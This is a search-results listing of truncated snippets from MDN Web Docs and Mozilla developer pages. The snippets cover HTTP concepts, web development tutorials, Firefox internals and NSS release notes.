here's an example of an audio sprite player — first let's set up the user interface in html: <audio id="myaudio" src="https://udn.realityripple.com/samples/f0/2909c16512.mp3"></audio> <button data-start="18" data-stop="19">0</button> <button data-start="16" data-stop="17">1</button> <button data-start="14" data-stop="15">2</button> <button data-start="12" data-stop="13">3</button> <button data-start="10" data-stop="11">4</button> <button data-start="8" data-stop="9">5</button> <button data-start="6" data-stop="7">6...
... loading your tracks with the web audio api you can load separate tracks and loops individually using xmlhttprequest or the fetch api, which means you can load them synchronously or in parallel.
... <span id="horns-play-label">play</span> </button> </li> <li data-loading="true"> <a href="clav.mp3" class="track">clavi</a> <p class="loading-text">loading...</p> <button data-playing="false" aria-describedby="clavi-play-label"> <span id="clavi-play-label">play</span> </button> </li> </ul> <p class="sourced">all tracks sourced from <a href="http://jplayer.org/">jplayer.org</a></p> </section> all of these tracks are the same tempo and are designed to be synchronized with each other, so we need to make sure they are loaded and available to the api before we are able to play them.
Visual typescript game engine - Game development
this.networkdeeplogs = false; this.rtcserverport = 12034; this.rtc3serverport = 12034; this.connectorport = 1234; this.domain = "192.168.0.14"; this.masterserverkey = "multi-platformer-sever1.maximum"; this.protocol = "http"; this.issecure = false; this.appuseaccountssystem = true; this.appusevideochat = true; this.databasename = "masterdatabase"; this.databaseroot = "mongodb://localhost:27017"; - the running server is easy : npm run rtc with this cmd: npm run rtc we run server.js and connector.ts websocket.
... code format : npm run fix npm run tslint or use : tslint -c tslint.json 'src/**/*.ts' --fix tslint -c tslint.json 'src/**/*.ts' the external licence in this project : - networking based on : muaz khan mit license www.webrtc-experiment.com/licence - base physics based on : original source: matter.js https://github.com/liabru/matter-js matter.ts used because typescript orientation.
... https://www.npmjs.com/package/@types/matter-js crypto icons downloaded from https://www.behance.net/junikstudio todo list for 2019 i'm still far away from the project objective : make visual nodes for editor mode in gameplay.
Domain sharding - MDN Web Docs Glossary: Definitions of Web-related terms
the initial response from an http request is generally an html file listing other resources such as javascript, css, images and other media files that need to be downloaded.
... http2 supports unlimited concurrent requests making domain sharding an obsolete requirement when http/2 is enabled.
... see also transport layer security (tls) dns http/2 ...
Idempotent - MDN Web Docs Glossary: Definitions of Web-related terms
an http method is idempotent if an identical request can be made once or several times in a row with the same effect while leaving the server in the same state.
... get /pagex http/1.1 is idempotent.
... called several times in a row, the client gets the same results: get /pagex http/1.1 get /pagex http/1.1 get /pagex http/1.1 get /pagex http/1.1 post /add_row http/1.1 is not idempotent; if it is called several times, it adds several rows: post /add_row http/1.1 post /add_row http/1.1 -> adds a 2nd row post /add_row http/1.1 -> adds a 3rd row delete /idx/delete http/1.1 is idempotent, even if the returned status code may change between requests: delete /idx/delete http/1.1 -> returns 200 if idx exists delete /idx/delete http/1.1 -> returns 404 as it just got deleted delete /idx/delete http/1.1 -> returns 404 learn more general knowledge definition of idempotent in the http specification.
Prefetch - MDN Web Docs Glossary: Definitions of Web-related terms
<link rel="dns-prefetch" href="https://example.com/"> link prefetching link prefetching is a performance optimization technique that works by assuming which links the user is likely to click, then downloading the content of those links.
... the prefetch hints are sent in http headers: link: ; rel=dns-prefetch, ; as=script; rel=preload, ; rel=prerender, ; as=style; rel=preload prefetch attribute value browsers will prefetch content when the prefetch <link> tag directs it to, giving the developer control over what resources should be prefetched.
... <link rel="prefetch" href="https://www.example.com/solutions" /> ...
Request header - MDN Web Docs Glossary: Definitions of Web-related terms
a request header is an http header that can be used in an http request, and that doesn't relate to the content of the message.
... a few request headers after a get request: get /home.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/testpage.html connection: keep-alive upgrade-insecure-requests: 1 if-modified-since: mon, 18 ju...
...l 2016 02:36:04 gmt if-none-match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a" cache-control: max-age=0 strictly speaking, the content-length header in this example is not a request header like the others, but an entity header: post /myform.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 content-length: 128 learn more technical knowledge list of all http headers ...
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
an http method is safe if it doesn't alter the state of the server.
...several common http methods are safe: get, head, or options.
... a call to a safe method, not changing the state for the server: get /pagex.html http/1.1 a call to a non-safe method, that may change the state of the server: post /pagex.html http/1.1 a call to an idempotent but non-safe method: delete /idx/delete http/1.1 learn more general knowledge definition of safe in the http specification.
Styling links - Learn web development
first, some simple html to style: <p>for more information on the weather, visit our <a href="#">weather page</a>, look at <a href="http://#">weather on wikipedia</a>, or check out <a href="http://#">weather on extreme science</a>.</p> next, the css: body { width: 300px; margin: 0 auto; font-family: sans-serif; } p { line-height: 1.4; } a { outline: none; text-decoration: none; padding: 2px 1px 0; } a:link { color: blue; } a:visited { color: purple; } a:focus, a:hover { border-bottom: 1px solid; } a:act...
...ive { color: red; } a[href*="http"] { background: url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0; background-size: 16px 16px; padding-right: 19px; } so what's going on here?
...the text "http" should therefore only appear in external links (like the second and third ones), and we can select this with an attribute selector: a[href*="http"] selects <a> elements, but only if they have an href attribute with a value that contains "http" somewhere inside it.
How do I use GitHub Pages? - Learn web development
the command should look something like this: git remote add origin https://github.com/chrisdavidmills/my-repository.git next, type the following two commands, pressing enter after each one.
... go to the github pages section again, and you should see a line of the form "your site is ready to be published at https://xxxxxx." if you click on this url, you should go to a live version of your example, provided the home page is called index.html — it goes to this entry point by default.
... if your site's entry point is called something else, for example mypage.html, you'll need to go to https://xxxxxx/mypage.html.
Your first form - Learn web development
the method attribute defines which http method to send the data with (usually get or post).
...that data will be sent to the url "/my-handling-form-page" using the http post method.
... on the server side, the script at the url "/my-handling-form-page" will receive the data as a list of 3 key/value items contained in the http request.
How the Web works - Learn web development
the browser needs to find out which server the website lives on, so it can send http messages to the right place (see below).
... http: hypertext transfer protocol is an application protocol that defines a language for clients and servers to speak to each other.
... the browser sends an http request message to the server, asking it to send a copy of the website to the client (you go to the shop and order your goods).
The web and web standards - Learn web development
by late 1990, timbl had created all the things needed to run the first version of the web — http, html, the first web browser, which was called worldwideweb, an http server, and some web pages to look at.
... http hypertext transfer protocol, or http, is a messaging protocol that allows web browsers to communicate with web servers (where web sites are stored).
... "sure thing web browser — here you go" [downloads files and renders web page] the actual syntax for http messages (called requests and responses) is not that human-readable, but this gives you the basic idea.
Advanced text formatting - Learn web development
the citation sources you need are: http://www.brainyquote.com/quotes/authors/c/confucius.html for the confucius quote http://www.affirmationsforpositivethinking.com for "the need to eliminate negative self talk".
...as <a href="http://www.brainyquote.com/quotes/authors/c/confucius.html"><cite>confucius\' quotes site</cite></a> says:</p>\n\n<blockquote cite="http://www.brainyquote.com/quotes/authors/c/confucius.html">\n <p>it does not matter how slowly you go as long as you do not stop.</p>\n</blockquote>\n\n<p>i also love the concept of positive thinking, and <q cite="http://www.affirmationsforpositivethinking.com">the need ...
...to eliminate negative self talk</q> (as mentioned in <a href="http://www.affirmationsforpositivethinking.com"><cite>affirmations for positive thinking</cite></a>.)</p>'; const solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend,...
What’s in the head? Metadata in HTML - Learn web development
in the mdn web docs sourcecode, you'll find this: <meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png"> <meta property="og:description" content="the mozilla developer network (mdn) provides information about open web technologies including html, css, and apis for both web sites and html5 apps.
...for example, you'll find this in the source code of the mdn web docs homepage: <!-- third-generation ipad with high-resolution retina display: --> <link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.cdn.mozilla.net/static/img/favicon144.a6e4162070f4.png"> <!-- iphone with high-resolution retina display: --> <link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.cdn.mozilla.net/static/img/favicon114.0e9fabd44f85.png"> <!-- first- and second-generation ipad: --> <link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.cdn.mozilla.net...
.../static/img/favicon72.8ff9d87c82a0.png"> <!-- non-retina iphone, ipod touch, and android 2.1+ devices: --> <link rel="apple-touch-icon-precomposed" href="https://developer.cdn.mozilla.net/static/img/favicon57.a2490b9a2d76.png"> <!-- basic favicon --> <link rel="shortcut icon" href="https://developer.cdn.mozilla.net/static/img/favicon32.e02854fdcf73.png"> the comments explain what each icon is used for — these elements cover things like providing a nice high resolution icon to use when the website is saved to an ipad's home screen.
Introducing asynchronous JavaScript - Learn web development
let's look at another example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get', url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src = objecturl;...
...it uses xmlhttprequest (often abbreviated to "xhr") to fetch the resource at the given url, then pass the response to the callback to do something with.
...a good example is the fetch() api, which is basically like a modern, more efficient version of xmlhttprequest.
Web performance resources - Learn web development
css performance factors use http/2 on your server (or cdn).
...to further optimize inline your svg data within html markup to avoid http requests.
... apis gather user metrics using https://github.com/akamai/boomerang or directly gather with window.performance.timing things not to do (bad practices) download everything use uncompressed media files ...
What is web performance? - Learn web development
a general strategy is to make your files as small as possible, reduce the number of http requests made as much as possible, and employ clever loading techniques (such as preload) to make files available sooner.
...there is overhead involved in establishing tcp and http connections, and some unavoidable latency in pushing the request and response bytes back and forth across the network, but there are certain ways to reduce latency (e.g.
... reducing the number of http request you make by downloading less files, using a cdn to make your site more universally performant across thw world, and using http/2 to serve file more efficiently from the server).
Componentizing our Svelte app - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/04-componentizing-our-app or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/04-componentizing-our-app remember to run npm install && npm run dev to start your app in development mode.
... repl to code along with us using the repl, start at https://svelte.dev/repl/99b9eb228b404a2f8c8959b22c0a40d3?version=3.23.2 breaking the app into components in svelte, an application is composed from one or more components.
... repl to see the current state of the code in a repl, visit: https://svelte.dev/repl/76cc90c43a37452e8c7f70521f88b698?version=3.23.2 summary now we have all of our app's required functionality in place.
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/05-advanced-concepts or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/05-advanced-concepts remember to run npm install && npm run dev to start your app in development mode.
... repl to code along with us using the repl, start at https://svelte.dev/repl/76cc90c43a37452e8c7f70521f88b698?version=3.23.2 working on the moreactions component now we'll tackle the check all and remove completed buttons.
... repl to see the current state of the code in a repl, visit: https://svelte.dev/repl/d1fa84a5a4494366b179c87395940039?version=3.23.2 summary in this article we have finished adding all the required functionality to our app, plus we've taken care of a number of accessibility and usability issues.
Dynamic behavior in Svelte: working with variables and props - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/03-adding-dynamic-behavior or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/03-adding-dynamic-behavior remember to run npm install && npm run dev to start your app in development mode.
... repl to code along with us using the repl, start at https://svelte.dev/repl/c862d964d48d473ca63ab91709a0a5a0?version=3.23.2 working with todos our todos.svelte component is currently just displaying static markup; let's start making it a bit more dynamic.
... repl to see the current state of the code in a repl, visit: https://svelte.dev/repl/99b9eb228b404a2f8c8959b22c0a40d3?version=3.23.2 summary that will do for now!
Getting started with Vue - Learn web development
great for development <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> production script (optimized version, minimal console warnings.
...98% after emitting copyplugin done compiled successfully in 18121ms app running at: - local: <http://localhost:8080/> - network: <http://192.168.1.9:8080/> note that the development build is not optimized.
... if you navigate to the “local” address in a new browser tab (this should be something like http://localhost:8080 as stated above, but may vary based on your setup), you should see your app.
Experimental features in Firefox
nightly 59 no developer edition 59 no beta 59 no release 59 no preference name security.mixed_content.block_object_subrequest insecure page labeling these two preferences add a "not secure" text label in the address bar next to the traditional lock icon when a page is loaded insecurely (that is, using http rather than https).
... developer edition 60 no beta 60 no release 60 no preference name security.insecure_connection_text.enabled for normal browsing mode; security.insecure_connection_text.pbmode.enabled for private browsing mode upgrading mixed display content when enabled, this preference causes firefox to automatically upgrade requests for media content from http to https on secure pages.
...if the upgrade fails (because the media's host doesn't support https), the media is not loaded.
Tracking Protection
when firefox blocks content, it logs a message to the web console like this: the resource at "http://some/url" was blocked because tracking protection is enabled.
... for example, you should not use google analytics in the following way: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } </script> instead, you should account for the case when google analy...
...tics is missing by checking to see if the ga object has initialized: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); if (window.ga && ga.loaded) { ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } else { document.location = url; } } </script> more information about this technique is available at google analytics, privacy, and event tracking.
HTMLIFrameElement.executeScript()
http://example.com url: a url, e.g.
... http://example.com/index.html note: the options parameter does not currently seem to have much effect.
... examples var request1 = browser.executescript( var a = 3; a + 3 , {url: 'http://example.com/index.html'}); request1.onsuccess = function() { console.log(request1.result); // 6 } var request2 = browser.executescript( new promise((resolve, reject) => { settimeout(function() { resolve(6); }, 1000}) ) , {origin: 'http://example.com'}); request2.onsuccess = function() { console.log(request2.result); // 6 } if the script value is a not a promise, it is simply returned as the request value.
mozbrowserusernameandpasswordrequired
the mozbrowserusernameandpasswordrequired event is fired when the content within a browser <iframe> requires an http authentification.
... details the details property returns an anonymous javascript object with the following members: host a domstring representing the host requesting the http authentification.
... realm a domstring representing the value of the realm http header.
Internationalized Domain Names (IDN) Support in Mozilla Browsers
how idn works when a browser sees a host name such as http://developer.mozilla.org, it passes a request to the dns resolver service (usually built into an os), which in turn sends a request to a nearest domain name server to return an ip address that corresponds to the host name.
... as an example, an output string to be sent to a dns server for a japanese domain name, "http://ジェーピーニック.jp", will look like the following in ace form: http://xn--hckqz9bzb1cyrb.jp domain name registration after the technical standards were established by ietf, the last remaining issue was for domain name registrars to agree on an international guideline on the use of idn characters.
...for example, most sample links on the following test pages can be used without any further setting: http://www.nunames.nu/eu-lang-test.htm (domain names with latin 1 accented characters) http://www.nunames.nu/lldemo/default.htm (domain names in other languages) on july 10, 2003 and thereafter, you can access a large number of japanese domain name sites under the .jp top domain with no further setting on netscape 7.1/mozilla 1.4: http://mitsuketa-nihongo.jp race (row-based ascii compatible en...
Downloads.jsm
can be omitted or null if no referrer should be sent or the download source is not http.
... components.utils.import("resource://gre/modules/downloads.jsm"); components.utils.import("resource://gre/modules/osfile.jsm") components.utils.import("resource://gre/modules/task.jsm"); task.spawn(function () { yield downloads.fetch("http://www.mozilla.org/", os.path.join(os.constants.path.tmpdir, "example-download.html")); console.log("example-download.html has been downloaded."); }).then(null, components.utils.reporterror); observing downloads this example logs a message every time a change occurs in one of the global download lists.
...pawn(function () { let list = yield downloads.getlist(downloads.all); let view = { ondownloadadded: download => console.log("added", download), ondownloadchanged: download => console.log("changed", download), ondownloadremoved: download => console.log("removed", download) }; yield list.addview(view); try { let download = yield downloads.createdownload({ source: "http://www.mozilla.org/", target: os.path.join(os.constants.path.tmpdir, "example-download.html"), }); list.add(download); try { download.start(); alert("now monitoring all downloads.
WebChannel.jsm
the webchannel.jsm javascript code module provides an abstraction that uses the message manager and custom events apis to create a two-way communication channel between chrome and content code for specific origins (using a specific origin passed to the constructor or a lookup with nsipermissionmanager while also ensuring the scheme is https).
...note that in addition to the permission manager check, the request must be made over https.
... examples setting up a webchannel between chrome code and a webpage chrome code let channel = new webchannel(webchannelid, services.io.newuri("https://mozilla.org", null, null)); // receive messages channel.listen(function (webchannelid, message, sendercontext) { // send messages channel.send({ data: { greeting: true } }, sendercontext); }); webpage code receive messages from an existing webchannel in content code window.addeventlistener("webchannelmessagetocontent", function(e) { // receive messages console.log(e.detail); },...
Extras
>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> </p> css content math.cue *[title] { color: blue; } mixing with other markups html content <math display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext> <img width="16" height="16" src="https://udn.realityripple.com/samples/3f/9341cbddc0.png" alt="mozilla-16" /> </mtext> </mtd> </mtr> <mtr> <mtd> <mtext><input value="type" size="4"/></mtext> </mtd> <mtd><mn>4</mn></mtd> </mtr> </mtable> <mo>]</mo> </mrow> </math> <math display="block"> <msqrt> <mpadded width="30px" height="15px" depth="15px" voffset="-15px"> <mtext> <svg width="30px" height="30px"> <defs> <radialgradient id="radgrad...
...ansform="translate(150,125)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0" to="360" dur="6s" repeatcount="indefinite"/> <g transform="translate(-50,-35)"> <rect width="100" height="70" fill="url(#grad2)"/> <switch> <foreignobject width="100" height="70" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <mo>(</mo> <mtable> <mtr> <mtd><mi>cos</mi><mi>θ</mi></mtd> <mtd><mo>−</mo><mi>sin</mi><mi>θ</mi></mtd> </mtr> <mtr> <mtd><mi>sin</mi><mi>θ</mi></mtd> <mtd><mi>cos</mi><mi>θ</mi></mtd> </mtr> </mtable> <mo>)</mo> </mrow> </math> </foreignobject> <text>rotation matrix</text> </switch> </g></g></g> <g> <animatemotion path="m 32,69 ...
... begin="0s" dur="20s" repeatcount="indefinite"/> <animatetransform attributename="transform" attributetype="xml" type="scale" values="1;2;.5;1" keytimes="0;.25;.75;1" dur="20s" repeatcount="indefinite"/> <circle fill="url(#grad3)" r="30"/> <g transform="translate(-30,-30)"> <switch> <foreignobject width="60" height="60" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>0</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <msup> <mi>α</mi> <mi>n</mi> </msup> <mrow> <mi>n</mi> <mo>!</mo> </mrow> </mfrac> </mrow> </math> </foreignobject> <text>exp(α)</text> </switch> </g> </g> </svg> </div> inline javascript html...
Mozilla Web Developer FAQ
the easiest way to make sure that the standards mode is activated for html, is to use this doctype declaration: <!doctype html> the easiest way to make sure that the almost standards mode is activated for html, is to use this doctype declaration: <!doctype html public "-//w3c//dtd html 4.01 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> the easiest way to activate the quirks mode for html is to omit the doctype declaration.
... you can see the http headers sent by the server by using the livehttpheaders extension or by using the web sniffer.
...the fonts have to be served from the same origin (protocol, host, port) as the content that uses them unless the fonts are served with the appropriate cross-origin resource sharing http headers.
Investigating leaks using DMD heap scan mode
the result of that grep will contain output that looks something like this: cc-edges.15873.log:0x7f0897082c00 [rc=1285] nsglobalwindowinner # 2147483662 inner https://www.example.com/ * cc-edges.15873.log: the first part is the file name where it was found.
... the output will look something like this, after a message about loading progress: 0x7f0882fe3230 [fragmentorelement (xhtml) script https://www.example.com] --[[via hash] mlistenermanager]--> 0x7f0899b4e550 [eventlistenermanager] --[mlisteners event=onload listenertype=3 [i]]--> 0x7f0882ff8f80 [callbackobject] --[mincumbentglobal]--> 0x7f0897082c00 [nsglobalwindowinner # 2147483662 inner https://www.example.com] root 0x7f0882fe3230 is a ref counted object with 1 unknown edge(s).
... known edges: 0x7f08975a24c0 [fragmentorelement (xhtml) head https://www.example.com] --[mattrsandchildren[i]]--> 0x7f0882fe3230 0x7f08967e7b20 [js object (htmlscriptelement)] --[unwrapdomobject(obj)]--> 0x7f0882fe3230 the first two lines mean that the script element 0x7f0882fe3230 contains a strong reference to the eventlistenermanager 0x7f0899b4e550.
about:memory
191.89 mb (100.0%) -- explicit ├───63.15 mb (32.91%) -- window-objects │ ├──24.57 mb (12.80%) -- top(http://edition.cnn.com/, id=8) │ │ ├──20.18 mb (10.52%) -- active │ │ │ ├──10.57 mb (05.51%) -- window(http://edition.cnn.com/) │ │ │ │ ├───4.55 mb (02.37%) ++ js-compartment(http://edition.cnn.com/) │ │ │ │ ├───2.60 mb (01.36%) ++ layout │ │ │ │ ├───1.94 mb (01.01%) ── style-sheets │ │ │ │ └...
...───1.48 mb (00.77%) -- (2 tiny) │ │ │ │ ├──1.43 mb (00.75%) ++ dom │ │ │ │ └──0.05 mb (00.02%) ── property-tables │ │ │ └───9.61 mb (05.01%) ++ (18 tiny) │ │ └───4.39 mb (02.29%) -- js-zone(0x7f69425b5800) │ ├──15.75 mb (08.21%) ++ top(http://techcrunch.com/, id=20) │ ├──12.85 mb (06.69%) ++ top(http://arstechnica.com/, id=14) │ ├───6.40 mb (03.33%) ++ top(chrome://browser/content/browser.xul, id=3) │ └───3.59 mb (01.87%) ++ (4 tiny) ├───45.74 mb (23.84%) ++ js-non-window ├───33.73 mb (17.58%) ── heap-unclassified ├───22.51 mb (11.73%) ++ heap-overhead ├────6.62 mb (03.45%) ++ images ├────5.82 mb (03.03%) ++ workers...
...for example, the "top(http://edition.cnn.com/, id=8)" sub-tree represents the tab open to cnn.com, and "top(chrome://browser/content/browser.xul, id=3)" represents the main browser ui window.
Patches and pushes
<searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***this tag is optional***<url type="application/x-suggestions+json"...
... method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" />*** <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> create xml files for each search plugin preference following the above example.
...write up something like this for your comment: landed this on aurora, http://hg.mozilla.org/releases/l10n/mozilla-aurora/ab-cd/rev/adfe1234feac, marking fixed.
Profile Manager
see http://kb.mozillazine.org/profile_manager#accessing_the_profile_manager for an alternative method of managing profiles.
... downloading binaries you can download profile manager builds from https://ftp.mozilla.org/pub/mozilla.org/utilities/profilemanager/1.0/ note: there is no installer; just extract the files from the archive.
... system requirements: mac: an intel processor, i386 or x86_64 linux: any version capable of running firefox 4.0 windows: xp or later source code you can download the source as well: hg clone http://hg.mozilla.org/automation/profilemanager/ instructions for building can be found in build.txt.
Midas editor module security preferences
add these lines to user.js: user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org"); user_pref("capability.policy.allowclipboard.clipboard.cutcopy", "allaccess"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); change the url https://www.mozilla.org to the site for which you want to enable this function.
...for example: user_pref("capability.policy.allowclipboard.sites", "http://www-archive.mozilla.org") is not the same as: user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org") this is because the first uses http while the second uses https.
...for example: user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org https://developer.mozilla.org") again, keep in mind the security risks involved here and be sure to remove permission to access the clipboard once you no longer need it enabled.
FIPS Mode - an explanation
in fips mode, every user must have a good strong "master password", and must enter it each time he starts or restarts firefox before he can visit any web sites that use cryptography (https).
... the user is not required to enter the master password to visit ordinary https servers, nor to view certificates he has previously stored.
... in non-fips mode, nss is willing and able to use popular non-fips approved cryptographic algorithms, such as rc4 and md5, to communicate with older https servers.
Using JSS
MozillaProjectsNSSJSSUsing JSS
jss dependencies core library name description binary release location nspr4 nspr os abstraction layer http://ftp.mozilla.org/pub/mozilla.org/nspr/releases plc4 nspr standard c library replacement functions plds4 nspr data structure types nss3 nss crypto, pkcs #11, and utilities http://ftp.mozilla.org/pub/mozilla.org/security/nss/releases ssl3 nss ssl library smime3 nss s/mime functions and types ...
...if you are downloading binaries, get it from http://ftp.mozilla.org/pub/mozilla.org/security/jss/releases/.
... if you are downloading binaries, get jss42.jar from http://ftp.mozilla.org/pub/mozilla.org/security/jss/releases/.
NSS_3.11.10_release_notes.html
nss 3.11.10 source and binary distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_11_10_rtm/src/.
... binary distributions: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_11_10_rtm/.
...nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/.
NSS_3.12.1_release_notes.html
nss 3.12.1 source and binary distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_1_rtm/src/.
... binary distributions: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_1_rtm/.
...nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/.
NSS 3.12.6 release notes
nss 3.12.6 source and binary distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_6_rtm/src/.
...nspr 4.8.4 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.8.4/.
... bug 527759: add multiple roots to nss (single patch) bug 528741: pkix_hash throws a null-argument exception on empty strings bug 530907: the peerid argument to ssl_setsockpeerid should be declared const bug 531188: decompression failure with https://livechat.merlin.pl/ bug 532417: build problem with spaces in path names bug 534943: clean up the makefiles in lib/ckfw/builtins bug 534945: lib/dev does not need to include headers from lib/ckfw bug 535669: move common makefile code in if and else to the outside bug 536023: der_utctimetotime and der_generalizedtimetotime ignore all bytes after an em...
NSS 3.14.1 release notes
nss 3.14.1 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_1_rtm/src/ new in nss 3.14.1 new functionality nss now has the ability to create signed ocsp responses.
... bugs fixed in nss 3.14.1 the following bugzilla query returns all of the bugs fixed in nss 3.14.1: https://bugzilla.mozilla.org/buglist.cgi?list_id=5216669;resolution=fixed;query_format=advanced;bug_status=resolved;bug_status=verified;target_milestone=3.14.1;product=nss compatability nss 3.14.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
...feedback bugs discovered in this release should be reported by filing a bug report at https://bugzilla.mozilla.org with the product of nss.
NSS 3.14.3 release notes
nss 3.14.3 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_3_rtm/src/ new in nss 3.14.3 new functionality no new major functionality is introduced in this release.
...the details of their research and the attack can be found at http://www.isg.rhul.ac.uk/tls/, and has been referred to as "lucky thirteen".
...bugs fixed in nss 3.14.3 https://bugzilla.mozilla.org/buglist.cgi?list_id=5689256;resolution=fixed;classification=components;query_format=advanced;target_milestone=3.14.3;product=nss compatibility nss 3.14.3 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.25 release notes
nss 3.25 source distributions are available on ftp.mozilla.org for secure https download at the following location.
... source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_25_rtm/src/ new in nss 3.25 new functionality implemented dhe key agreement for tls 1.3.
... ca g2 sha-256 fingerprint: 27:99:58:29:fe:6a:75:15:c1:bf:e8:48:f9:c4:76:1d:b1:6c:22:59:29:25:7b:f4:0d:08:94:f2:9e:a8:ba:f2 cn = opentrust root ca g3 sha-256 fingerprint: b7:c3:62:31:70:6e:81:07:8c:36:7c:b8:96:19:8f:1e:32:08:dd:92:69:49:dd:8f:57:09:a4:10:f7:5b:62:92 bugs fixed in nss 3.25 this bugzilla query returns all the bugs fixed in nss 3.25: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.25 compatibility nss 3.25 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.35 release notes
nss 3.35 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_35_rtm/src/ new in nss 3.35 new functionality tls 1.3 support has been updated to draft -23.
...(conversely, nss will never synchronize data from sql to dbm format.) additional information can be found on this fedora linux project page: https://fedoraproject.org/wiki/changes/nssdefaultfileformatsql added formally verified implementations of non-vectorized chacha20 and non-vectorized poly1305 64-bit.
